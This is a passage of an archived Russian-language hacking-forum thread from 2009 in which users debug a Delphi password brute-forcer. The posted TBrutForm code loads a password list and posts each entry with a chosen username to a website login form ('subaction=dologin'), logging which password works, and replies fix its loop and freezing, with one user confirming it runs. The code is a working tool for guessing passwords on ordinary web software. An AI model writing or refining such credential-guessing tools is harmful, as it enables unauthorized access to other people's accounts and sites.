ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > С/С++, C#, Delphi, .NET, Asm
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 19.12.2009, 14:20
ZdezBilYa
Участник форума
Регистрация: 29.08.2008
Сообщений: 151
Провел на форуме:
1551582

Репутация: 107
Отправить сообщение для ZdezBilYa с помощью ICQ
По умолчанию

у вас идет освобождение списка:

Цитата:
finally
Data.Free;
CM.Free;
Http.Free;
Str1.Free;
end;
вынесите это за цикл for
 

  #12  
Старый 19.12.2009, 14:42
Kandi
Познающий
Регистрация: 18.11.2009
Сообщений: 44
Провел на форуме:
134032

Репутация: 3
Отправить сообщение для Kandi с помощью ICQ
По умолчанию

Цитата:
Сообщение от ZdezBilYa  
у вас идет освобождение списка:



вынесите это за цикл for
Вот так? всё ровно ругается...

Код:
procedure TBrutForm.StartButtonClick(Sender: TObject);
var
  Http  : TidHttp;
  CM    : TidCookieManager;
  Data  : TStringList;
  StrPage, UserID,  UserName  :  String;
  Str1 : TStringList;
  i : Integer;
begin
  Str1:=TStringList.Create;
  Str1.LoadFromFile(Open1.FileName);
begin
for i:=0 to str1.count-1 do
  try
    Http := TIdHTTP.Create(Self);
    Data := TStringList.Create;
    CM := TidCookieManager.Create(Http);
    Http.AllowCookies := true;
    Http.CookieManager := CM;
    Http.HandleRedirects := true;

    Http.Request.Host:=HostEdit.Text;
    Http.Request.UserAgent:='Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 WebMoney Advisor';
    Http.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
    Http.Request.AcceptLanguage:='ru,en-us;q=0.7,en;q=0.3';
    Http.Request.AcceptCharSet:='windows-1251,utf-8;q=0.7,*;q=0.7';
    Http.Request.Referer:=RefererEdit.Text;

    Data.Add('subaction=dologin');
    Data.Add('username='+NickEdit.Text);
    Data.Add('password='+Str1[i]);
    Data.Add('selected_language='+BoxLanguage.Text);
    StrPage := Http.Post(HTTPEdit.Text, Data);
  finally
    Data.Free;
    CM.Free;
    Http.Free;
  end;

  if Pos('Engine:</td',StrPage) <> 0 then
    MemoLog.Lines.Add('Авторизовался под паролем '+Str1[i])
  else
    MemoLog.Lines.Add('Авторизация под паролем' +Str1[i]+ 'не получилась!');
end;
Str1.Free;
end;
или за

Код:
  finally
    Data.Free;
    CM.Free;
    Http.Free;
  end;
Str1.Free;

  if Pos('Engine:</td',StrPage) <> 0 then
    MemoLog.Lines.Add('Авторизовался под паролем '+Str1[i])
  else
по-моему второй вариант?
всё ровно виснет если два пароля :\
 

  #13  
Старый 19.12.2009, 21:59
AlexTheC0d3r
Постоянный
Регистрация: 25.07.2008
Сообщений: 454
Провел на форуме:
1229135

Репутация: 425
Отправить сообщение для AlexTheC0d3r с помощью ICQ
По умолчанию

надо ждать пока залогиниться и проверять это в цикле, далее если залогинился, неправильный пароль, то берешь следущий...

функция того компонента, который используешь должна называться что-то вроде LoggedON
и иметь тип булевая
 

  #14  
Старый 19.12.2009, 22:59
Markus_13
Познающий
Регистрация: 19.02.2009
Сообщений: 83
Провел на форуме:
181715

Репутация: 50
Отправить сообщение для Markus_13 с помощью ICQ
По умолчанию

Цитата:
Вот так? всё ровно ругается...
жесть, Kandi если ты настолько плохо понимаешь что делает "твой" код - что незнаешь куда приткнуть команду, лучше доверь написание программы более компетентному человеку)))
Цитата:
функция того компонента, который используешь должна называться что-то вроде LoggedON
и иметь тип булевая
бред =)

код проверил - все пашет (с tIdAntiFreeze)
разумеется если

Цитата:
вынесите это за цикл for
 

  #15  
Старый 20.12.2009, 00:56
Kandi
Познающий
Регистрация: 18.11.2009
Сообщений: 44
Провел на форуме:
134032

Репутация: 3
Отправить сообщение для Kandi с помощью ICQ
По умолчанию

Цитата:
Сообщение от Markus_13  
жесть, Kandi если ты настолько плохо понимаешь что делает "твой" код - что незнаешь куда приткнуть команду, лучше доверь написание программы более компетентному человеку)))
бред =)

код проверил - все пашет (с tIdAntiFreeze)
разумеется если
Я привык учиться сам.... а купить, что то можно всегда!

Что у тебя работает расскажи? цикл подбора паролей?
 

  #16  
Старый 20.12.2009, 02:55
Markus_13
Познающий
Регистрация: 19.02.2009
Сообщений: 83
Провел на форуме:
181715

Репутация: 50
Отправить сообщение для Markus_13 с помощью ICQ
Wink

Цитата:
Я привык учиться сам.... а купить, что то можно всегда!
ты запутался в терминологии: "учиться" и "копипастить" - разные слова)))
Цитата:
Что у тебя работает расскажи? цикл подбора паролей?
код работает (post-запросы проходят, параметры передаются, все работает)
 

  #17  
Старый 20.12.2009, 15:30
marcos
Участник форума
Регистрация: 08.11.2009
Сообщений: 114
Провел на форуме:
201148

Репутация: -4
По умолчанию

Цитата:
Сообщение от Kandi  
1. Как мне посчитать строки в .txt файле при его открытие, ну и собственно нужно, чтобы кол-во вывелось куда нить...пофиг куда) главное пример!?
В Делфи можно организовать цикл:
Код:
while not EOF do
begin
end;
Вроде так
 

  #18  
Старый 20.12.2009, 23:35
AlexTheC0d3r
Постоянный
Регистрация: 25.07.2008
Сообщений: 454
Провел на форуме:
1229135

Репутация: 425
Отправить сообщение для AlexTheC0d3r с помощью ICQ
По умолчанию

Цитата:
Сообщение от Markus_13  
бред =)
совсем не бред, если программа с максимально возможной скоростью пытается залогиниться в 1 поток используя все пароли в текстовом файле, не дожидаясь ответа от сервера...
 

  #19  
Старый 20.12.2009, 23:37
AlexTheC0d3r
Постоянный
Регистрация: 25.07.2008
Сообщений: 454
Провел на форуме:
1229135

Репутация: 425
Отправить сообщение для AlexTheC0d3r с помощью ICQ
По умолчанию

Цитата:
Сообщение от marcos  
В Делфи можно организовать цикл:
Код:
while not EOF do
begin
end;
Вроде так
после перехода на Delphi и соответственно появления TStringList, отпала такая необходимость использовать такое как rewrite(); reset(); readln(); writeln(); eof(); и т.д.
 

  #20  
Старый 21.12.2009, 02:37
Markus_13
Познающий
Регистрация: 19.02.2009
Сообщений: 83
Провел на форуме:
181715

Репутация: 50
Отправить сообщение для Markus_13 с помощью ICQ
По умолчанию

Цитата:
совсем не бред, если программа с максимально возможной скоростью пытается залогиниться в 1 поток используя все пароли в текстовом файле, не дожидаясь ответа от сервера...
опять бред - во1ых речь не про потоки, во2ых первый раз слышу про "функцию IdHttp что-то вроде LoggedON"))
при запросе IdHttp приостанавливает выполнение программы до получения ответа сервера, если же использовать TIdAntiFreeze - это позволит убрать подвисания интерфейса
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ